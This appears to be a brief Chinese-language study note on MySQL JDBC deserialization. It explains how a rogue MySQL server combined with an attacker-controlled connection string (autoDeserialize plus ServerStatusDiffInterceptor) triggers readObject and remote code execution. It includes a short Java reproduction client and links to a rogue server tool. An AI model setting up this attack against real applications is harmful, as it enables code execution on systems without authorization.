JDBC反序列化

随便学学

原理

如果攻击者能够控制JDBC连接设置项,那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而RCE。

具体点说,就是通过JDBC连接MySQL服务端时,会有几个内置的SQL查询语句要执行,其中两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作。如果攻击者搭建恶意MySQL服务器来控制这两个查询的结果集,并且攻击者可以控制JDBC连接设置项,那么就能触发MySQL JDBC客户端反序列化漏洞。

漏洞复现

GitHub - rmb122/rogue_mysql_server: A rouge mysql server supports reading files from most mysql libraries of multiple programming languages.

现在自己的服务器上安装一个恶意的mysql服务器

然后去用maven搭一个mysql jdbc去请求咱们的恶意服务器

image-20230305163915454

Analysis

Presentations - eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack (blackhat.com)

1
2
3
4
5
6
7
8
9
10
11
import java.sql.*;

public class Main {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
String jdbc_url = "jdbc:mysql://ip:3306/test?" +
"autoDeserialize=true" +
"&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
Connection con = DriverManager.getConnection(jdbc_url, "root", "root");
}
}

Learn

Magic methods will be invoked automatically during the deserialization process.

  • readObject()
  • readExternal()
  • readResolve()
  • readObjectNoData()
  • validateObject()
  • finalize()

参考

https://tttang.com/archive/1877/

https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#%E5%B0%8F%E7%BB%93